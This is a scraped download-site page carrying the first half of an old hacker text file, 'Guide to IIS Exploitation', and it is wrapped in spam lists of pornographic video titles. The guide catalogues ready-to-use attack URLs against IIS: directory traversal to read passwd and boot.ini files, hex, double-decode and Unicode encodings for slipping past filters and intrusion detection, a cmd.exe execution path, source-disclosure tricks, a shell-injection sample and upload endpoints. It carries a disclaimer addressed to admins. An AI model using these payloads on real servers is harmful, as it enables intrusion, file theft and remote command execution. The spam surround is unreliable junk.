亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? guide to iis exploitation.txt

?? a collection of mega hacking tools
?? TXT
?? 第 1 頁 / 共 2 頁
字號:
****************************************************************************                      Guide to IIS Exploitation                          **                            by fugjostle                                 **                                                                         **                             V.1.0.1                                     **                                                                         **          Questions? Comments? Email: fugjostle at ch0wn.com             ****************************************************************************    Disclaimer: I do not condone hacking IIS servers in any way,                 shape or form. This guide is intended as a guide                 for admins to help them understand what most                 script kiddies don't understand but are happy to                 exploit. --[On the first day, God created directory traversal]Relative paths are the developers friend. They allow an entire website to be moved to another directory without the need for changing all the links in the html. For example, lets say we have a webpage called 'pictures.html' in the htdocs dir:  Absolute path:  /home/webpages/htdocs/pictures.html  Absolute path:  /home/webpages/images/pic1.gifIn the html you can refer to the 'pic1.gif' via an absolute path shown above or use a relative path:  Relative path: ../images/pic1.gifThe relative path tells the server that it has to go to the parent directory (dot dot) -->  from /home/webpages/htdocs to /home/webpages. Then the server goes into the images dir and looks for the gif file to display.Anyone who has used the 'cd' command in DOS and *nix should be familiar with the operation. So what's the problem I hear you ask... well, the programmers of web server didn't think to check the supplied URL to ensure that the requested file was actually in the web directory. This allows someone to backtrack through the servers directory structure and request files that the web server has access to. For example,  http://www.target.com/../../../etc/passwdNB. you can also use double dots and double quotes. This is useful to evadeIntrusion Detection Systems (IDS):  http://www.target.com//....//....//...././etc/./passwdThe webserver simply strips the extra stuff out and processes the request.This is the same as the previous example and can make string matching IDS'swork for their money.--[On the second day, God created Hexadecimal]Once programmers started to realise the mistake they began to create parser routines to check for naughty URL's and keep the requests within the document root. Then along comes a wiley hacker who wonders if by encoding the URL will it still be recognised by the parser routines.You may have noticed that when you enter a URL that includes a space it is replaced with the hex equivalent (%20):  http://www.target.com/stuff/my index.html  becomes  http://www.target.com/stuff/my%20index.htmland voila, it works. So what would happen if we changed the now denied URL:  http://www.target.com/../../../etc/passwd  to  http://www.target.com/%2e%2e/%2e%2e/%2e%2e/etc/passwd The parser routine checks for the existence of dots in the path and finds none... the webserver then proceeds with the request.An interesting feature is that you can encode the hex symbol  and the web server will decode it all for you. This is called the "double decode". For example, given the URL "http://victim.com/..%252f..%252fdocs/", the following will take place:(1) On the first decode, the string will be converted to:  "http://victim.com/..%2f..%2fdocs/"  [%25 = '%' so '%252f' is decoded to '%2f'](2) On the second decode, the string will be converted to:  "http://victim.com/../../docs/"  [%2f = '/']--[On the third day, God created Unicode]The World Wide Web is a global phenomenon and as such needs to be globally interoperable. This raised the question of how to deal with all the different character sets around the world. As a response to this, Unicode was created:   -----------------------------------------------------------------   Unicode provides a unique number for every character, no matter    what the platform, no matter what the program, no matter what    the language. The Unicode Standard has been adopted by such    industry leaders as Apple, HP, IBM, JustSystem, Microsoft,    Oracle,SAP, Sun, Sybase, Unisys and many others. Unicode is    required by modern standards such as XML, Java, ECMAScript    (JavaScript), LDAP, CORBA 3.0, WML, etc., and is the official    way to implement ISO/IEC 10646. It is supported in many operating    systems, all modern browsers, and many other products.   -----from http://www.unicode.org---------------------------------The problem with Unicode is that it requires 16 bits for a single character and software tended to use 8 bits for a single character. Unicode TransForm using 8 bits (UTF-8) was created. This allows for multibyte encoding where a variable number of bytes can be used for each character:  Character  1-byte  2-byte  3-byte    .         2E      C0 AE   E0 80 AE    /         2F      C0 AF   E0 80 AF    \         5C      C1 9C   E0 81 9C This lead to a new vulnerability in certain webservers. The parser didn't understand this new encoding and allowed it through :-)For example:  www.target.com/%C0%AE%C0%AE/%C0%AE%C0%AE/%C0%AE%C0%AE/etc/passwdRecent vulnerabilities have been taking advantage of the fact that the web server doesn't understand the Unicode UTF-8 character set but the underlying OS does:  www.target.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c%20dirUnderstanding the distinction between Unicode and UTF-8 can be difficult. Asa general rule of thumb you can use the following format as a guide:  %uxxxx          = Unicode  %xx%xx          = UTF-8  %xx             = Hexidecimal  %xxxx           = Double Decode--[On the fourth day, God created default installs]IIS comes installed with various DLL's (Dynamic Link Libraries) that increase the functionality of the web server. These ISAPI (Internet Server API) applications allow programmers/developers to deliver more functionality to IIS.The DLL's are loaded into memory at startup and offer significant speed over traditional CGI programs. For example, they can be combined with the Internet Database Connector (httpodbc.dll) to create interactive sites that use ODBC to access databases.The problem is that some of these DLL's are insecure and are often installed with sample scripts that demonstrate how to exploit, erm, I mean use them.ASP.DLL is used to pre-process requests that end in ".asp". ASP (Active Server Pages) are basically HTML pages with embedded code that is processed by the webserver before serving it to the client. Here's some examples to illustrate how the sample pages installed by defaultcan aid someone breaking into your site via the ASP.DLL:[prefix all the examples with http://www.target.com]  /default.asp.   ** Appending a '.' to the URL can reveal the source    ** on older systems. Remember hex encoding? You can    ** also try using %2e to do the same thing.  /msadc/samples/adctest.asp   ** This gives you an interface into the msadcs.dll    ** and allows creation of DSN's. Read RFP's stuff   ** for idea's on how to exploit this.  /iissamples/exair/howitworks/codebrws.asp?source=/msadc/Samples/../../.../../../../boot.ini  /msadc/Samples/SELECTOR/showcode.asp?source=/msadc/Samples/../../../../.../boot.ini   ** You can view the source of anything in the    ** document root. '/msadc/' needs to be in the    ** request as it is checked for, wait for this,   ** security :-)  /index.asp::$DATA   ** Appending '::$DATA' to the URL can reveal   ** the source of the ASP.  /index.asp%81     ** Append a hex value between 0x81 and 0xfe   ** and you can reveal the source of any server   ** processed file. This only works on servers   ** that are Chinese, Japanese or Korean.  /AdvWorks/equipment/catalog_type.asp?ProductType=|shell("cmd+/c+dir+c:\")|   ** This one allows you to execute remote   ** shell commands ;-)ISM.DLL is used to process requests that end in ".htr". These pages were used to administer IIS3 servers. In IIS4 they are not used but various .htr samples are installed by default anyway and offer another avenue for entry.  /index.asp%20%20%20..(220 more)..%20%20.htr   ** IIS will redirect this request to ISM.DLL,   ** which will strip the '.htr' extension and   ** deliver the source code of the file.    /global.asa+.htr   ** Does the same thing as the %20%20 exploit   ** above. ISM.DLL strips the +.htr and delivers   ** you the source of the file  /scripts/iisadmin/ism.dll?http/dir   ** Excellent brute force opportunity if the   ** dll exists. Successful logons will reveal   ** lots of useful stuff.  /iisadmpwd/aexp.htr   ** The iisadmpwd diectory contains several .htr    ** files that allow NetBIOS resolution and    ** password attacks.  /scripts/iisadmin/bdir.htr??c:\inetpub\www   ** This method will only reveal directories   ** but can be useful for identifying the    ** servers structure for more advanced    ** attacks later.MSADCS.DLL is used to allow access to ODBC components via IIS using RDS (Remote Data Service). RDS is part of the default install of Microsoft Data Access Components (MDAC) and is a commonly exploited on IIS. It can allowarbitrary shell commands to be executed with system privileges.  /msadc/msadcs.dll   ** If this file exists then there's a pretty    ** good chance that you can run the RDS    ** exploit again the box. More on this later.HTTPODBC.DLL is the Internet Connector Database (IDC) and used when the webserver wants to connect to a database. It allows the creation of web pagesfrom data in the database, and it allows you to update/delete items from within webpages. Pages with the extension '.idc' are sent to the HTTPODBC.DLLfor processing.   /index.idc::$DATA   ** Appending '::$DATA' to the URL can reveal   ** the source of the IDC.  /anything.idc     ** Requesting a non-existance file will   ** reveal the location of the web root.  /scripts/iisadmin/tools/ctss.idc   ** Creates a table based on the parameters it    ** receives. Excellent place to look at for    ** SQL injection.SSINC.DLL is used for processing Server Side Includes (SSI). '.stm', '.shtm' and '.shtml' extension are sent to the DLL which interpretsthe SSI statements within the HTML before sending it to the client.An example of SSI would be:  <!--#include file="news.txt"-->This SSI tells the server to include the 'news.txt' in the final HTML sent to the use. SSI statements are beyond the scope of this document but offer another security hole open to our wiley hax0r. Ensure you remove the app mapping and disable SSI if you do not require its functionality.SSINC.DLL is also vulnerable to a remote buffer overflow, read the following advisory for details:  http://www.nsfocus.com/english/homepage/sa01-06.htmSome examples of SSINC.DLL fun:  /anything.stm   ** If you request a file that doesn't exist   ** then the server error message contains the   ** the location of the web root.  /somedir/anything.stm/somedir/index.asp   ** Using this method allows you to view the   ** the source code for index.asp.   IDQ.DLL is a component of MS Index Server and handles '.ida' and '.idq'requests. This DLL has had some big exposure with the recent Nimda worm. I'm not going into too much detail but '.ida' was used in a buffer overflow that resulted in user defined code being executed on the server.  /anything.ida or /anything.idq     ** Requesting a non-existance file will   ** reveal the location of the web root.  /query.idq?CiTemplate=../../../boot.ini   ** You can use this to read any file on   ** the same drive as the web rootCPSHOST.DLL is the Microsoft Posting Acceptor. This allows uploads to your IIS server, via a web browser or the Web Publishing Wizard. The existance of this DLL can allow attackers upload files to the server. Other files such asuploadn.asp, uploadx.asp, upload.asp and repost.asp are installed with SiteServer and allow upload of documents to the server:  /scripts/cpshost.dll?PUBLISH?/scripts/dodgy.asp   ** If this file is there then you may be able   ** to upload files to the server.  /scripts/uploadn.asp     ** Connecting to this page gives you a nice   ** gui for uploading your own webpages. You   ** probably need to brute the userid.There are lots more example scripts in the default install and quite a few of them are very, very insecure. Microsoft recommends that you remove ALL samples from any production server including the ExAir, WSH, ADO and other installed samples.  IIS Default Web Site  --------------------  IISSAMPLES  - c:\inetpub\iissamples  IISADMIN    - c:\winnt\system32\inetsrv\issadmin  IISHELP     - c:\winnt\help  SCRIPTS     - c:\inetpub\scripts  IISADMPWD   - c:\winnt\systems32\inetsrv\iisadmpwd  msadc       - c:\program files\common files\system\msadc  logfiles    - c:\winnt\system32\logfiles  default.htm - c:\inetpub\wwwroot  IIS Default App Mapping  -----------------------  .asa   - c:\winnt\system32\inetsrv\asp.dll  .asp   - c:\winnt\system32\inetsrv\asp.dll  .cdx   - c:\winnt\system32\inetsrv\asp.dll  .cer   - c:\winnt\system32\inetsrv\asp.dll  .htr   - c:\winnt\system32\inetsrv\ism.dll  .idc   - c:\winnt\system32\inetsrv\httpodbc.dll  .shtm  - c:\winnt\system32\inetsrv\ssinc.dll  .shtml - c:\winnt\system32\inetsrv\ssinc.dll

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
五月天婷婷综合| 久久精品亚洲麻豆av一区二区| 中文字幕在线观看一区二区| 成人一级黄色片| 中文字幕亚洲区| 在线免费观看视频一区| 天天免费综合色| 精品久久国产老人久久综合| 国模大尺度一区二区三区| 日本一区二区三区在线观看| 97精品国产露脸对白| 亚洲一区二区视频在线观看| 91精品国产丝袜白色高跟鞋| 国产精品资源在线看| 自拍偷拍亚洲综合| 欧美日韩精品二区第二页| 麻豆91在线播放| 国产精品久久毛片| 制服丝袜中文字幕一区| 国产精品99久久久久久久女警| 亚洲天堂精品视频| 91精品国产综合久久国产大片| 精品一区二区三区免费| 亚洲激情av在线| 欧美xxxxxxxxx| 97久久久精品综合88久久| 首页国产欧美日韩丝袜| 欧美激情自拍偷拍| 欧美日韩日日摸| 成人一级黄色片| 看国产成人h片视频| 国产精品电影一区二区| 欧美videos大乳护士334| 91玉足脚交白嫩脚丫在线播放| 久久精品理论片| 亚洲午夜免费福利视频| 国产欧美日本一区二区三区| 欧美日韩精品免费| 91在线观看视频| 韩国成人精品a∨在线观看| 亚洲精品一二三| 国产蜜臀97一区二区三区| 91精品欧美福利在线观看| 91在线观看高清| 丰满放荡岳乱妇91ww| 美女看a上一区| 香蕉加勒比综合久久| 亚洲欧洲在线观看av| 精品国产乱码久久久久久久| 欧美综合久久久| 91亚洲精华国产精华精华液| 国产精品一品视频| 美女视频黄久久| 视频一区中文字幕国产| 一区二区三区不卡在线观看 | 欧美日韩在线一区二区| 99国产精品久久久久| 国产成人自拍网| 国产综合色在线| 久久精品国产亚洲a| 亚洲图片欧美视频| 亚洲精品国产视频| 亚洲美女区一区| 亚洲精品午夜久久久| 日韩一区欧美小说| 国产精品乱码一区二三区小蝌蚪| 2020日本不卡一区二区视频| 日韩一区二区在线观看| 91精品国产综合久久精品性色 | 国产美女久久久久| 久久精工是国产品牌吗| 日韩不卡手机在线v区| 亚洲福利视频一区| 视频在线观看一区| 男人的天堂久久精品| 日韩电影免费一区| 日本sm残虐另类| 日韩av在线播放中文字幕| 日韩av中文字幕一区二区三区| 视频一区欧美日韩| 免费看精品久久片| 国产真实精品久久二三区| 国产乱子轮精品视频| 国产美女av一区二区三区| 国产成人综合网| 色综合色综合色综合| 欧美综合一区二区三区| 69堂精品视频| 日韩精品一区国产麻豆| 久久精品亚洲麻豆av一区二区 | 一区二区三区日韩| 亚洲一区二区在线免费看| 三级精品在线观看| 精品一区二区免费| 国产xxx精品视频大全| 成人午夜免费电影| 在线影院国内精品| 日韩欧美中文字幕精品| 久久久91精品国产一区二区精品| 国产精品视频你懂的| 亚洲综合在线五月| 久久国产欧美日韩精品| 国产乱子伦视频一区二区三区| 99在线精品观看| 欧美日韩午夜影院| 久久夜色精品国产噜噜av| 中文字幕视频一区二区三区久| 亚洲一区二区三区四区五区中文| 久久激情综合网| 99久久久国产精品| 日韩视频在线一区二区| 中文字幕精品在线不卡| 亚洲第一精品在线| 国产综合色产在线精品| 色婷婷国产精品| 久久只精品国产| 亚洲一区二区美女| 国产suv精品一区二区6| 欧美色国产精品| 中文av一区特黄| 日韩电影免费一区| 91色在线porny| 久久久噜噜噜久久人人看| 一区二区欧美在线观看| 狠狠v欧美v日韩v亚洲ⅴ| 在线免费一区三区| 亚洲国产精品成人综合色在线婷婷| 亚洲电影视频在线| 成人午夜精品在线| 精品久久久影院| 日韩一区欧美二区| 91尤物视频在线观看| 久久久久综合网| 日本vs亚洲vs韩国一区三区 | 久久91精品国产91久久小草| 日本乱人伦一区| 中文字幕av不卡| 精品一区二区日韩| 欧美一区二区三区不卡| 夜夜嗨av一区二区三区中文字幕 | 欧美一区二区三区影视| 亚洲裸体xxx| 波多野结衣精品在线| 久久久久久久久免费| 日本美女一区二区三区视频| 色av成人天堂桃色av| 国产精品久久久久久久久免费相片| 狠狠色丁香九九婷婷综合五月| 欧美乱妇20p| 亚洲午夜精品在线| 日本乱人伦一区| 亚洲精品日韩一| 一本一本大道香蕉久在线精品| 国产精品国产三级国产普通话蜜臀| 黄页视频在线91| 精品精品国产高清a毛片牛牛 | 久久色中文字幕| 免费在线一区观看| 91精品国模一区二区三区| 亚洲成人av电影在线| 欧美性色aⅴ视频一区日韩精品| 最新久久zyz资源站| eeuss鲁片一区二区三区在线看| 国产三级一区二区| 一本大道久久a久久综合婷婷 | 色吧成人激情小说| 樱桃视频在线观看一区| 91影院在线观看| 亚洲色图视频免费播放| 91免费看视频| 亚洲精品乱码久久久久久黑人| 色素色在线综合| 亚洲高清免费视频| 3d动漫精品啪啪1区2区免费| 日本伊人午夜精品| 精品国产1区二区| 粉嫩av亚洲一区二区图片| 国产精品成人一区二区艾草| 91麻豆高清视频| 天天色图综合网| 精品久久人人做人人爱| 国产suv精品一区二区三区| 中文字幕欧美一区| 欧美中文字幕不卡| 日本中文字幕一区二区视频| 日韩女优毛片在线| 成人夜色视频网站在线观看| 一区二区三区毛片| 欧美一区二区三区在线观看 | 久久久精品黄色| 91在线观看免费视频| 午夜久久久久久| 久久久久免费观看| 色一情一伦一子一伦一区| 视频一区中文字幕| 国产欧美日韩激情| 欧美日韩高清一区二区三区| 精品一二三四区| 亚洲综合图片区| 久久久久久久网|